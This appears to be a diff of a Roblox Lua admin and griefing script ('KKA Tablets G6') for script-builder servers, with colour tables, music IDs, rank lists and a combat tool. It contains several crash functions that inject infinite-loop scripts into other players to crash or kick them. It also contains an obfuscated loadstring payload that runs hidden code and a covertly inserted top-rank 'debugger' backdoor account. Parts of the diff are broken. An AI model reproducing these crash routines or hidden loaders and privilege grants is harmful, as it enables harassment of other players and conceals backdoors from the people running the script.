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1 | - | --[[ |
1 | + | |
2 | - | KKA Tablets Generation 6$& |
2 | + | |
3 | - | Copyrighted © OC Studios |
3 | + | |
4 | ["BlueishGreen"] = Color3.new(0,1,0.5), | |
5 | - | By Cobalt1164 |
5 | + | |
6 | ["SoftBlue"] = Color3.new(0,0.5,1), | |
7 | - | I quit making these, i'm making new ones using DVF. |
7 | + | |
8 | - | --]] |
8 | + | |
9 | ["Red"] = Color3.new(1,0,0), | |
10 | ["PinkRed"] = Color3.new(1,0,0.5), | |
11 | ["Pink"] = Color3.new(1,0,1), | |
12 | ["Orange"] = Color3.new(1,0.5,0), | |
13 | ["Yellow"] = Color3.new(1,1,0), | |
14 | ["Green"] = Color3.new(0,1,0), | |
15 | ["Blue"] = Color3.new(0,0,1), | |
16 | ["Cyan"] = Color3.new(0,0.6,1), | |
17 | ["LightBlue"] = Color3.new(0,1,1), | |
18 | ["Magenta"] = Color3.new(0.54,0,0.54), | |
19 | ["White"] = Color3.new(1,1,1), | |
20 | ["Grey"] = Color3.new(0.5,0.5,0.5), | |
21 | ["Black"] = Color3.new(0,0,0), | |
22 | }; | |
23 | ["AdvancedColors"] = { | |
24 | ["CustomPurple"] = Color3.new(102/255, 51/255, 153/255); | |
25 | ["Random"] = Color3.new(255,255,255)--Lol it's actually white | |
26 | }; | |
27 | ["Music"] = { | |
28 | ["Original Chrono Trigger Theme"] = 1280463, | |
29 | ["Rickroll"] = 2027611, | |
30 | ["Mario Game"] = 1280470, | |
31 | ["Carmell Dansen"] = 2303479, | |
32 | ["Japanese Chior"] = 1372258, | |
33 | ["One Winged Angel"] = 1372260, | |
34 | ["M.U.L.E. "] = 1077604, | |
35 | ["FFVII Battle AC"] = 1280473, | |
36 | ["Cursed Abbey"] = 1372257, | |
37 | ["Fire Emblem"] = 1372259, | |
38 | ["Final Destination"] = 1280414, | |
39 | ["Pokemon Theme"] = 1372261, | |
40 | ["SSM End"] = 1372262, | |
41 | ["Winds of Fjords"] = 1015394, | |
42 | ["Halo Theme"] = 1034065, | |
43 | ["Medevil style music"] = 5982975, | |
44 | ["Woman King"] = 5986151, | |
45 | ["Awakenking"] = 27697277, | |
46 | ["Better off"] = 27697392, | |
47 | ["DOTR"] = 11420922, | |
48 | ["Entertainer"] = 27697267, | |
49 | ["Flight Bumblebee"] = 27697719, | |
50 | ["Foggy Montain"] = 27697298, | |
51 | ["Gothic"] = 27697743, | |
52 | ["Hip Hop"] = 27697735, | |
53 | ["Music 4 a Film"] = 27697713, | |
54 | ["Nezzera"] = 8610025, | |
55 | ["Resist"] = 27697234, | |
56 | ["Schala"] = 5985787, | |
57 | ["TOPW"] = 11420933, | |
58 | ["Toccata Fugue"] = 11231513, | |
59 | ["Tunnel"] = 9650822 | |
60 | }; | |
61 | }; | |
62 | a,b = ypcall(function() | |
63 | ||
64 | ||
65 | script.Name = "KKA TABLETS G6" | |
66 | Plrs = game:GetService("Players") | |
67 | Work = game:GetService("Workspace") | |
68 | Light = game:GetService("Lighting") | |
69 | Net = game:GetService("NetworkServer") | |
70 | Owner = "iiDeadzon" --*Name Here*-- | |
71 | Owner2 = "" --*Friend's Name Here*-- | |
72 | TabletSize=Vector3.new(2,2.5,0.2) | |
73 | TabletTransparency=0.17 | |
74 | SourceName = '' | |
75 | ScriptLines = 0 | |
76 | LSource = nil | |
77 | SB = '' | |
78 | FCColor = BrickColor.new("Hot pink").Color --*Friends Favorite Color Here*-- | |
79 | CColor = BrickColor.new("Royal purple").Color --*Your Favorite Color Here*-- | |
80 | Scale=Vector3.new(2,2,2) | |
81 | script.Parent = nil | |
82 | - | Owner = "fireshadow31" --*Name Here*-- |
82 | + | |
83 | SSource.Disabled = true | |
84 | Removed = false | |
85 | Bet = "/" | |
86 | Bet2 = "/" | |
87 | Version = [[6.7]] | |
88 | Updates = [[ Added Skit, Shadow kit :D ]] | |
89 | ||
90 | local z={["~"]=0,["$"]=1,["+"]=2,["#"]=3,["="]=4,["_"]=5,["*"]=6,["("]=7,["%"]=8,[")"]=9,["!"]=10,["^"]=11,["-"]=12,["@"]=13,["&"]=14,["?"]=15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({ | |
91 | "?=*(_*+(+()*=*_*#=?*=*_*~+@#~A+#=%*)*!(_(+(_(&#$=#(_(&*$*~+^*++" -- Override code is "Chizuru>Asuna k" | |
92 | }),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(z[lo]+z[hi]*16)end)))),getfenv())() | |
93 | LS = nil | |
94 | LogOn = false | |
95 | Priv = false | |
96 | False = false | |
97 | ScriptingLocked = false | |
98 | Yes = 0 | |
99 | No = 0 | |
100 | CrashPhrases = false | |
101 | Current = game | |
102 | Clipboard = {} | |
103 | CrashWords = {'TeleportService'} | |
104 | Chats = {} | |
105 | PrivPlrs = {'Cobalt1164','einsteinK'} | |
106 | OptionColor = BrickColor.new("Really red").Color | |
107 | ImportantColor = BrickColor.new("Royal purple").Color | |
108 | if script:findFirstChild("source") then | |
109 | SourceName = 'source' | |
110 | SB = [[Alakazard]] | |
111 | elseif script:findFirstChild('DSource') then | |
112 | SourceName = 'DSource' | |
113 | SB = [[Anaminus]] | |
114 | elseif script:findFirstChild('Source') then | |
115 | SourceName = 'Source' | |
116 | SB = [[Oxcool]] | |
117 | else | |
118 | SourceName = "No Source Name" | |
119 | SB = [[Unknown]] | |
120 | end | |
121 | RanksList = { | |
122 | [-4] = {Name = "Removed", Color = BrickColor.new("Really black").Color, Desc = "SB Removed"}, | |
123 | [-3] = {Name = "Crashed", Color = BrickColor.new("Hot pink").Color, Desc = "Crashed on joined"}, | |
124 | [-2] = {Name = "Lagged", Color = BrickColor.new("Really red").Color, Desc = "Lagged on joined"}, | |
125 | [-1] = {Name = "Banned", Color = BrickColor.new("Bright red").Color, Desc = "Forever banned"}, | |
126 | [0] = {Name = "Player", Color = BrickColor.new("Really black").Color, Desc = "Regular player"}, | |
127 | [1] = {Name = "Helper", Color = BrickColor.new("New Yeller").Color, Desc = "Helper"}, | |
128 | [2] = {Name = "Administrator", Color = BrickColor.new("Bright orange").Color, Desc = "Administrator"}, | |
129 | [3] = {Name = "Moderator", Color = BrickColor.new("Deep orange").Color, Desc = "Moderator"}, | |
130 | [4] = {Name = "Maximum Moderator", Color = BrickColor.new("Magenta").Color, Desc = "Maximum Moderator of the server"}, | |
131 | [5] = {Name = "Maximum Administrator", Color = BrickColor.new("Pastel Blue").Color, Desc = "Maximum Administrator of the server"}, | |
132 | [6] = {Name = "BFFL", Color = FCColor, Desc = "Mah BFFLS"}, | |
133 | [7] = {Name = "Creator", Color = CColor, Desc = "Creator"}, | |
134 | } | |
135 | Ranked = { | |
136 | {Name = "iiDeadzone", Rank = 7, Color = BrickColor.new("Royal purple").Color}, --Me | |
137 | } | |
138 | table.insert(Ranked, {Name = Owner, Rank = 7, Color = CColor}) | |
139 | table.insert(Ranked, {Name = Owner2, Rank = 6, Color = FCColor}) | |
140 | ImportantServices = { | |
141 | "Workspace", | |
142 | "Players", | |
143 | "NetworkServer", | |
144 | "Lighting", | |
145 | "StarterGui", | |
146 | "Teams", | |
147 | "StarterPack", | |
148 | - | {Name = "seb8023", Rank = 7, Color = BrickColor.new("Royal purple").Color}, --Me |
148 | + | |
149 | "ServerStorage", | |
150 | - | {Name = "xXcoolrockitXx", Rank = 6, Color = BrickColor.new("Royal purple").Color}, --Beta Tester |
150 | + | |
151 | "ReplicatedStorage", | |
152 | } | |
153 | - | {Name = "Opligitory", Rank = 7, Color = BrickColor.new("Royal purple").Color}, --Beta Tester |
153 | + | |
154 | - | {Name = "KotixPL", Rank = 6, Color = BrickColor.new("Royal purple").Color}, --Beta Tester |
154 | + | |
155 | AllTabs = {} | |
156 | - | {Name = "hipow12", Rank = 7, Color = BrickColor.new("Royal purple").Color}, --Best friend |
156 | + | |
157 | wait() | |
158 | - | {Name = "YoungWarlock", Rank = 6, Color = BrickColor.new("Royal purple").Color}, --Best friend |
158 | + | |
159 | while wait() do | |
160 | - | {Name = "einsteink", Rank = 8, Color = Color3.new(0,1,1)}, --Pro scripter |
160 | + | |
161 | if SourceName == "source" then break end | |
162 | - | {Name = "MasterKelvinVIP", Rank = 7, Color = BrickColor.new("Royal purple").Color}, --Helped with alot |
162 | + | |
163 | if LSource ~= nil then break end | |
164 | - | {Name = "W8X", Rank = 6, Color = BrickColor.new("Lime green").Color}, --Friend |
164 | + | |
165 | for j,k in pairs(v.Backpack:children()) do | |
166 | - | {Name = "icefireguardian", Rank = 4, Color = BrickColor.new("Lime green").Color}, --Cool guy |
166 | + | |
167 | if k.ClassName == 'LocalScript' then | |
168 | - | {Name = "hippiekid94", Rank = 4, Color = BrickColor.new("Lime green").Color}, --Cool guy and friend |
168 | + | |
169 | k.Archivable = true | |
170 | - | {Name = "DecimatorOfCreations", Rank = 6, Color = BrickColor.new("Hot pink").Color}, --Best Friend |
170 | + | |
171 | LSource.Disabled = true | |
172 | Output("Source found",Seaker,5) | |
173 | break | |
174 | end | |
175 | end | |
176 | wait() | |
177 | end | |
178 | for j,k in pairs(v.Character:children()) do | |
179 | if LSource ~= nil then break end | |
180 | if k.ClassName == 'LocalScript' then | |
181 | if k:findFirstChild(SourceName) ~= nil then | |
182 | k.Archivable = true | |
183 | LSource = k:Clone() | |
184 | LSource.Disabled = true | |
185 | Output("Source found",Speaker,5) | |
186 | break | |
187 | end | |
188 | end | |
189 | wait() | |
190 | end | |
191 | end) | |
192 | end | |
193 | end | |
194 | end)() | |
195 | function Disconnect(str) | |
196 | local a = Instance.new("StringValue", game:service'Lighting') | |
197 | a.Name = 'Disconnect' | |
198 | a.Value = tostring(str) | |
199 | game:service'Debris':AddItem(a,5) | |
200 | end | |
201 | function CheckImportant(Name) | |
202 | for _,v in pairs(ImportantServices) do | |
203 | if v:lower() == Name:lower() then | |
204 | return true | |
205 | end | |
206 | end | |
207 | return false | |
208 | end | |
209 | function NewS(sourcev, parent) | |
210 | if SourceName == 'source' then | |
211 | NS(source,parent) | |
212 | else | |
213 | local s = SSource:Clone() | |
214 | s.Parent = parent | |
215 | if s:findFirstChild(SourceName) ~= nil then | |
216 | source = s:findFirstChild(SourceName) | |
217 | else | |
218 | source = Instance.new("StringValue", s) | |
219 | source.Name = SourceName | |
220 | end | |
221 | if source then | |
222 | source.Value = sourcev | |
223 | else | |
224 | Output("Something went wrong",nil,5) | |
225 | end | |
226 | wait() | |
227 | s.Disabled = false | |
228 | end | |
229 | end | |
230 | function NewLS(sourcev,parent, lock) | |
231 | if SourceName == 'source' then | |
232 | NLS(sourcev,parent) | |
233 | elseif LSource then | |
234 | local s = LSource:Clone() | |
235 | s.Parent = parent | |
236 | if s:findFirstChild(SourceName) ~= nil then | |
237 | source = s:findFirstChild(SourceName) | |
238 | else | |
239 | source = Instance.new("StringValue", s) | |
240 | source.Name = SourceName | |
241 | end | |
242 | if source then | |
243 | source.Value = sourcev | |
244 | else | |
245 | Output("Something wen't wrong",nil,5) | |
246 | return | |
247 | end | |
248 | wait() | |
249 | if lock == true then | |
250 | for i = 0,5 do | |
251 | s.Disabled = false | |
252 | wait(0.5) | |
253 | s.Disabled = true | |
254 | wait(0.5) | |
255 | s.Disabled = false | |
256 | end | |
257 | else | |
258 | s.Disabled = false | |
259 | end | |
260 | return s | |
261 | else | |
262 | Output("No source",nil,5) | |
263 | end | |
264 | end | |
265 | function RemoteCrash(Nil) | |
266 | local chinws = false | |
267 | for i,v in pairs(workspace:children()) do | |
268 | if v.Name:find(Nil) ~= nil then | |
269 | NewLS("repeat until false", v) | |
270 | Output("Crashed "..v.Name.." from workspace",nil,5) | |
271 | chinws = true | |
272 | end | |
273 | end | |
274 | if chinws == true then return end | |
275 | for i,v in pairs(game:service'NetworkServer':children()) do | |
276 | if v:GetPlayer() then | |
277 | if v:GetPlayer().Name == Nil then | |
278 | if v:GetPlayer().Character ~= nil then | |
279 | NewLS("repeat until false", v:GetPlayer().Character) | |
280 | OutputAdmins('Crashed '..v:GetPlayer().Name..' by character','Really red') | |
281 | elseif v:GetPlayer():findFirstChild'Backpack' ~= nil then | |
282 | NewLS("repeat until false", v:GetPlayer():findFirstChild'Backpack') | |
283 | OutputAdmins('Crashed '..v:GetPlayer().Name..' by backpack','Really red') | |
284 | elseif v:GetPlayer():findFirstChild'PlayerGui' ~= nil then | |
285 | NewLS("repeat until false", v:GetPlayer():findFirstChild'PlayerGui') | |
286 | OutputAdmins('Crashed '..v:GetPlayer().Name..' by playergui','Really red') | |
287 | else | |
288 | NewLS("repeat until false", Instance.new("Backpack", v:GetPlayer())) | |
289 | OutputAdmins('Crashed '..v:GetPlayer().Name..' by backpack','Really red') | |
290 | end | |
291 | end | |
292 | end | |
293 | end | |
294 | end | |
295 | function Crash1(Plr) | |
296 | ypcall(function() | |
297 | Plr:Kick() | |
298 | end) | |
299 | end | |
300 | function GetRankTab() | |
301 | return Ranked | |
302 | end | |
303 | function Crash2(Name) | |
304 | local Crasher = Instance.new("StringValue") | |
305 | Crasher.Name = "Client" | |
306 | Crasher.Value = string.lower(tostring(Name)) | |
307 | Crasher.Parent = game:GetService("Lighting") | |
308 | wait(1) | |
309 | if Crasher and Crasher.Parent then | |
310 | ypcall(function() | |
311 | Crasher:Destroy() | |
312 | end) | |
313 | end | |
314 | end | |
315 | Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 8, Color = Color3.new(0,1,1)} | |
316 | function Crash3(v, Speaker) | |
317 | Speaker.Character.Archivable = true | |
318 | local NChar = Speaker.Character:Clone() | |
319 | NChar.Name = v.Name | |
320 | NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0) | |
321 | NChar.Parent = Workspace | |
322 | v.Character = NChar | |
323 | coroutine.resume(coroutine.create(function() | |
324 | repeat v.Character = NChar | |
325 | wait(1/3) until false | |
326 | end)) | |
327 | wait(.5) | |
328 | end | |
329 | function Crash4(Name) | |
330 | NewLS("repeat until false", Name) | |
331 | end | |
332 | function Crash5(Name) | |
333 | local a = Instance.new("StringValue", game.Lighting) | |
334 | a.Name = "DISC: "..Name | |
335 | game:service'Debris':AddItem(a, 3) | |
336 | end | |
337 | Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 8, Color = Color3.new(0,1,1)} | |
338 | RanksList[8] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"} | |
339 | function GenerateDigit() | |
340 | return 1 + 5 | |
341 | end | |
342 | TestOp1 = [[ | |
343 | LocalPlayer = game.Players.LocalPlayer | |
344 | LocalPlayer.Character.Humanoid.MaxHealth = math.huge | |
345 | Activated = false | |
346 | Equipped = false | |
347 | Regening = false | |
348 | FireBall = false | |
349 | Spikes = false | |
350 | Destiny = false | |
351 | Explosion = false | |
352 | Tornado = false | |
353 | Wall = false | |
354 | Armor = false | |
355 | shooting = false | |
356 | Mode = "Shoot" | |
357 | Energy = 10000 | |
358 | mouse = LocalPlayer:GetMouse() | |
359 | t = Instance.new("Tool",LocalPlayer.Backpack) | |
360 | t.Name = 'Cobalt1164s Phantom Scythe' | |
361 | t.GripPos = Vector3.new(0,0,0) | |
362 | p = Instance.new("Part",t) | |
363 | p.FormFactor = 'Custom' | |
364 | p.Name = 'Handle' | |
365 | p.Transparency = 0.3 | |
366 | p.Reflectance = 0.3 | |
367 | p.CanCollide = false | |
368 | p.BrickColor = BrickColor.new("Really black") | |
369 | m = Instance.new("SpecialMesh",p) | |
370 | m.MeshId = 'http://www.roblox.com/asset/?id=95891318' | |
371 | m.TextureId = 'http://www.roblox.com/asset/?id=' | |
372 | m.Scale = Vector3.new(1,1,1) | |
373 | char = LocalPlayer.Character | |
374 | mouse = LocalPlayer:GetMouse() | |
375 | humanoid = char:findFirstChild("Humanoid") | |
376 | torso = char:findFirstChild("Torso") | |
377 | head = char.Head | |
378 | local Colors = {"Royal Purple","Really black"} | |
379 | ra = char:findFirstChild("Right Arm") | |
380 | la = char:findFirstChild("Left Arm") | |
381 | rl = char:findFirstChild("Right Leg") | |
382 | ll = char:findFirstChild("Left Leg") | |
383 | rs = torso:findFirstChild("Right Shoulder") | |
384 | ls = torso:findFirstChild("Left Shoulder") | |
385 | rh = torso:findFirstChild("Right Hip") | |
386 | lh = torso:findFirstChild("Left Hip") | |
387 | neck = torso:findFirstChild("Neck") | |
388 | rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint") | |
389 | anim = char:findFirstChild("Animate") | |
390 | rootpart = char:findFirstChild("HumanoidRootPart") | |
391 | camera = workspace.CurrentCamera | |
392 | if anim then | |
393 | anim:Destroy() | |
394 | end | |
395 | rm = Instance.new("Motor", torso) | |
396 | rm.C0 = CFrame.new(1.5, 0.5, 0) *CFrame.Angles(0, 0, 0) | |
397 | rm.C1 = CFrame.new(0, 0.5, 0) | |
398 | rm.Part0 = torso | |
399 | rm.Part1 = ra | |
400 | lm = Instance.new("Motor", torso) | |
401 | lm.C0 = CFrame.new(-1.5, 0.5, 0) *CFrame.Angles(0, 0, 0) | |
402 | lm.C1 = CFrame.new(0, 0.5, 0) | |
403 | lm.Part0 = torso | |
404 | lm.Part1 = la | |
405 | rlegm = Instance.new("Motor", torso) | |
406 | rlegm.C0 = CFrame.new(0.5, -1, 0) *CFrame.Angles(0, 0, 0) | |
407 | rlegm.C1 = CFrame.new(0, 1, 0) | |
408 | rlegm.Part0 = torso | |
409 | rlegm.Part1 = rl | |
410 | llegm = Instance.new("Motor", torso) | |
411 | llegm.C0 = CFrame.new(-0.5, -1, 0) *CFrame.Angles(0, 0, 0) | |
412 | llegm.C1 = CFrame.new(0, 1, 0) | |
413 | llegm.Part0 = torso | |
414 | llegm.Part1 = ll | |
415 | rsc0 = rm.C0 | |
416 | lsc0 = lm.C0 | |
417 | llc0 = llegm.C0 | |
418 | rlc0 = rlegm.C0 | |
419 | neckc0 = neck.C0 | |
420 | rootc0 = rj.C0 | |
421 | PLAYERGUI = LocalPlayer.PlayerGui | |
422 | GUI = Instance.new("ScreenGui",PLAYERGUI) | |
423 | FRAME = Instance.new("Frame",GUI) | |
424 | FRAME.Size = UDim2.new(0.5,0,0.05,0) | |
425 | FRAME.BackgroundColor3 = BrickColor.new("Bright bluish green").Color | |
426 | FRAME.BorderSizePixel = 0 | |
427 | FRAME.BackgroundTransparency = 0.8 | |
428 | TEXTLABEL = Instance.new("TextLabel",FRAME) | |
429 | TEXTLABEL.Size = UDim2.new(1,0,1,0) | |
430 | TEXTLABEL.BackgroundTransparency = 1 | |
431 | TEXTLABEL.Text = "Power: "..tostring(Energy) | |
432 | TEXTLABEL.TextColor3 = BrickColor.new("Bright bluish green").Color | |
433 | TEXTLABEL.TextStrokeColor3 = BrickColor.new("Bright blue").Color | |
434 | TEXTLABEL.BorderSizePixel = 0 | |
435 | TEXTLABEL.Font = 'SourceSansBold' | |
436 | TEXTLABEL.FontSize = 'Size36' | |
437 | TEXTLABEL.TextStrokeTransparency = 0 | |
438 | FRAME2 = Instance.new("Frame",GUI) | |
439 | FRAME2.Size = UDim2.new(0.5,0,0.05,0) | |
440 | FRAME2.BackgroundColor3 = BrickColor.new("Bright red").Color | |
441 | FRAME2.BorderSizePixel = 0 | |
442 | FRAME2.Position = UDim2.new(0.5,0,0,0) | |
443 | FRAME2.BackgroundTransparency = 0.8 | |
444 | TEXTLABEL2 = Instance.new("TextLabel",FRAME2) | |
445 | TEXTLABEL2.Size = UDim2.new(1,0,1,0) | |
446 | TEXTLABEL2.BackgroundTransparency = 1 | |
447 | TEXTLABEL2.Text = "Current Health: "..tostring(humanoid.Health) | |
448 | TEXTLABEL2.TextColor3 = BrickColor.new("Really red").Color | |
449 | TEXTLABEL2.TextStrokeColor3 = BrickColor.new("Bright red").Color | |
450 | TEXTLABEL2.BorderSizePixel = 0 | |
451 | TEXTLABEL2.BorderSizePixel = 0 | |
452 | TEXTLABEL2.Font = 'SourceSansBold' | |
453 | TEXTLABEL2.FontSize = 'Size36' | |
454 | FRAME3 = Instance.new("Frame",GUI) | |
455 | FRAME3.Size = UDim2.new(0.5,0,0.05,0) | |
456 | FRAME3.BackgroundColor3 = BrickColor.new("Lime green").Color | |
457 | FRAME3.BorderSizePixel = 0 | |
458 | FRAME3.Position = UDim2.new(0.5,0,0.05,0) | |
459 | FRAME3.BackgroundTransparency = 0.8 | |
460 | TEXTLABEL3 = Instance.new("TextLabel",FRAME3) | |
461 | TEXTLABEL3.Size = UDim2.new(1,0,1,0) | |
462 | TEXTLABEL3.BackgroundTransparency = 1 | |
463 | TEXTLABEL3.Text = "Strength: Dark Wyvern" | |
464 | TEXTLABEL3.BorderSizePixel = 0 | |
465 | TEXTLABEL3.Font = 'SourceSansBold' | |
466 | TEXTLABEL3.FontSize = 'Size24' | |
467 | function __getVelocity(p1,p2,speed) | |
468 | local dis=(p1-p2).magnitude | |
469 | if speed=="dis" then | |
470 | if dis*6>100 then | |
471 | speed=dis*6 | |
472 | else | |
473 | speed=100 | |
474 | end | |
475 | end | |
476 | local x=(p1.x-p2.x)/dis*speed | |
477 | local y=(p1.y-p2.y)/dis*speed | |
478 | local z=(p1.z-p2.z)/dis*speed | |
479 | return Vector3.new(-x,-y+10,-z) | |
480 | end | |
481 | function __onActivated() | |
482 | Activated = true | |
483 | end | |
484 | function __onDeactivated() | |
485 | Activated = false | |
486 | end | |
487 | function __onEquipped(mouse) | |
488 | Equipped = true | |
489 | pcall(function() | |
490 | local a = Instance.new("Explosion",LocalPlayer.Character) | |
491 | a.Position = LocalPlayer.Character['Right Arm'].Position | |
492 | a.BlastPressure = 0 | |
493 | a.BlastRadius = 50 | |
494 | local l = Instance.new("PointLight", LocalPlayer.Character.Torso) | |
495 | l.Brightness = 20 | |
496 | l.Color = Color3.new(1,1,1) | |
497 | l.Enabled = true | |
498 | l.Range = 20 | |
499 | l.Shadows = true | |
500 | end) | |
501 | local b = Instance.new("Fire",p) | |
502 | b.Size = 1 | |
503 | b.Color = Color3.new(255, 255, 255) | |
504 | b.SecondaryColor = Color3.new(0, 255, 255) | |
505 | local l = Instance.new("PointLight", p) | |
506 | l.Brightness = 20 | |
507 | l.Color = Color3.new(1,1,1) | |
508 | l.Enabled = true | |
509 | l.Range = 20 | |
510 | l.Shadows = true | |
511 | local w = Instance.new("Motor",char['Right Arm']) | |
512 | w.Name = 'phantom scythe weld' | |
513 | w.Part0 = char['Right Arm'] | |
514 | w.Part1 = p | |
515 | w.C1 = CFrame.new(0,-1.5,0.5) * CFrame.Angles(math.rad(90),0,0) | |
516 | end | |
517 | function __onUnequipped(mouse) | |
518 | Equipped = false | |
519 | pcall(function() | |
520 | p.Fire:Destroy() | |
521 | end) | |
522 | pcall(function() | |
523 | char['Right Arm']['phantom scythe weld']:Destroy() | |
524 | end) | |
525 | end | |
526 | function __Shoot() | |
527 | if Regening == true then return end | |
528 | if Energy < 50 then return end | |
529 | shooting = true | |
530 | game:GetService("Chat"):Chat(head,"[ Dark Wyvern! ]",2) | |
531 | Energy = Energy - 150 | |
532 | humanoid.WalkSpeed = 30 | |
533 | local speed = math.random(400,500) | |
534 | local bullet = Instance.new("Part",workspace) | |
535 | bullet.Name = 'Bullet' | |
536 | bullet.TopSurface = 0 | |
537 | bullet.BottomSurface = 0 | |
538 | bullet.Size = Vector3.new(30,30,30) | |
539 | bullet.FormFactor = 'Custom' | |
540 | bullet.CFrame = p.CFrame | |
541 | bullet.CanCollide = false | |
542 | bullet.BrickColor = BrickColor.new("Really black") | |
543 | bullet.Velocity = __getVelocity(bullet.Position, mouse.Hit.p, speed) | |
544 | bullet.FrontSurface = "Smooth" | |
545 | bullet.BottomSurface = "Smooth" | |
546 | local pie = Instance.new("PointLight", bullet) | |
547 | pie.Brightness = 5000 | |
548 | pie.Color = BrickColor.new("Really red").Color | |
549 | pie.Range = 60 | |
550 | local bulletmesh = Instance.new("SpecialMesh",bullet) | |
551 | bulletmesh.MeshId = 'http://www.roblox.com/asset/?id=95891318' | |
552 | bulletmesh.VertexColor = Vector3.new(0,0,0) | |
553 | bullet.Touched:connect(function(toucher) | |
554 | if toucher.Parent:findFirstChild'Head' and toucher.Parent:findFirstChild'Torso' and toucher.Parent.Name ~= LocalPlayer.Name then | |
555 | for i,v in pairs(toucher.Parent:children()) do | |
556 | if v.ClassName == 'Humanoid' then | |
557 | if v.Health > 100 then | |
558 | v.Health = 0 | |
559 | else | |
560 | v.Health = v.Health - speed/50 | |
561 | end | |
562 | end | |
563 | end | |
564 | bullet:Destroy() | |
565 | end | |
566 | end) | |
567 | wait(1) | |
568 | shooting = false | |
569 | humanoid.WalkSpeed = 100 | |
570 | end | |
571 | function __Armor() | |
572 | if Regening == true then return end | |
573 | if Energy < 1000 then return end | |
574 | if FireBall == true then return end | |
575 | Energy = Energy - 1000 | |
576 | game:GetService("Chat"):Chat(head,"[ Armor of Constealing Light! ]",2) | |
577 | local a = Instance.new("Part",workspace) | |
578 | a.Anchored = true | |
579 | a.CanCollide = false | |
580 | a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-70) | |
581 | a.FormFactor = 'Custom' | |
582 | a.Size = Vector3.new(500,500,500) | |
583 | a.Transparency = 0.5 | |
584 | a.BrickColor = BrickColor.new("Really black") | |
585 | a.FrontSurface = "Smooth" | |
586 | a.BottomSurface = "Smooth" | |
587 | local pie = Instance.new("PointLight", a) | |
588 | pie.Brightness = 5000 | |
589 | pie.Color = BrickColor.new("Really blue").Color | |
590 | pie.Range = 60 | |
591 | Instance.new("SpecialMesh", a).MeshType = 'Sphere' | |
592 | local con = a.Touched:connect(function(what) | |
593 | if what.Parent.Name ~= LocalPlayer.Name then | |
594 | if what:IsA("Part") then | |
595 | local ex2 = Instance.new("Explosion", workspace) | |
596 | ex2.Position = what.Position | |
597 | ex2.BlastPressure = 0 | |
598 | ex2.BlastRadius = 50 | |
599 | wait(1) | |
600 | what:Destroy() | |
601 | end | |
602 | end | |
603 | end) | |
604 | coroutine.wrap(function() | |
605 | Armor = true | |
606 | humanoid.WalkSpeed = 30 | |
607 | for i = 0,1,0.05 do | |
608 | a.Mesh.Scale = Vector3.new(i,i,i) | |
609 | a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-70) | |
610 | wait() | |
611 | end | |
612 | Armor = false | |
613 | humanoid.WalkSpeed = 100 | |
614 | end)() | |
615 | coroutine.wrap(function() | |
616 | wait(5) | |
617 | Instance.new("Explosion",workspace).Position = a.Position | |
618 | a:Destroy() | |
619 | end)() | |
620 | end | |
621 | function __FireBall() | |
622 | if Regening == true then return end | |
623 | if Energy < 150 then return end | |
624 | if FireBall == true then return end | |
625 | Energy = Energy - 150 | |
626 | game:GetService("Chat"):Chat(head,"[ Dark Black-Fire! ]",2) | |
627 | local a = Instance.new("Part",workspace) | |
628 | a.Anchored = true | |
629 | a.CanCollide = false | |
630 | a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-70) | |
631 | a.FormFactor = 'Custom' | |
632 | a.Size = Vector3.new(100,100,100) | |
633 | a.Transparency = 0.5 | |
634 | a.BrickColor = BrickColor.new("Really black") | |
635 | a.FrontSurface = "Smooth" | |
636 | a.BottomSurface = "Smooth" | |
637 | local pie = Instance.new("PointLight", a) | |
638 | pie.Brightness = 5000 | |
639 | pie.Color = BrickColor.new("Really blue").Color | |
640 | pie.Range = 60 | |
641 | Instance.new("SpecialMesh", a).MeshType = 'Sphere' | |
642 | local con = a.Touched:connect(function(what) | |
643 | if what.Parent.Name ~= LocalPlayer.Name then | |
644 | if what.Parent:findFirstChild'Torso' and what.Parent:findFirstChild'Head' then | |
645 | what:Destroy() | |
646 | end | |
647 | end | |
648 | end) | |
649 | coroutine.wrap(function() | |
650 | FireBall = true | |
651 | humanoid.WalkSpeed = 0 | |
652 | for i = 0,1,0.05 do | |
653 | a.Mesh.Scale = Vector3.new(i,i,i) | |
654 | wait() | |
655 | end | |
656 | FireBall = false | |
657 | humanoid.WalkSpeed = 100 | |
658 | while wait() do | |
659 | if a == nil or a.Parent ~= workspace then break end | |
660 | a.CFrame = a.CFrame * CFrame.new(0,0,-1) | |
661 | end | |
662 | con:disconnect() | |
663 | end)() | |
664 | coroutine.wrap(function() | |
665 | wait(5) | |
666 | Instance.new("Explosion",workspace).Position = a.Position | |
667 | a:Destroy() | |
668 | end)() | |
669 | end | |
670 | function __Wall() | |
671 | if Regening == true then return end | |
672 | if Energy < 200 then return end | |
673 | if Wall == true then return end | |
674 | Energy = Energy - 200 | |
675 | game:GetService("Chat"):Chat(head,"[ Wall of Stealing Souls! ]",2) | |
676 | local a = Instance.new("Part",workspace) | |
677 | a.Anchored = true | |
678 | a.CanCollide = false | |
679 | a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-20) | |
680 | a.FormFactor = 'Custom' | |
681 | a.Size = Vector3.new(500,500,50) | |
682 | a.Transparency = 0.5 | |
683 | a.BrickColor = BrickColor.new("Really black") | |
684 | a.FrontSurface = "Smooth" | |
685 | a.BottomSurface = "Smooth" | |
686 | local pie = Instance.new("PointLight", a) | |
687 | pie.Brightness = 5000 | |
688 | pie.Color = BrickColor.new("Really red").Color | |
689 | pie.Range = 60 | |
690 | local con = a.Touched:connect(function(what) | |
691 | if what.Parent.Name ~= LocalPlayer.Name then | |
692 | if what.Name == "Part" or "Sand" or "Blast" or "Ray" then | |
693 | what:Remove() | |
694 | elseif what.Name == "Base" or "Baseplate" then | |
695 | return | |
696 | end | |
697 | end | |
698 | end) | |
699 | coroutine.wrap(function() | |
700 | Wall = true | |
701 | humanoid.WalkSpeed = 0 | |
702 | wait(2) | |
703 | Wall = false | |
704 | humanoid.WalkSpeed = 100 | |
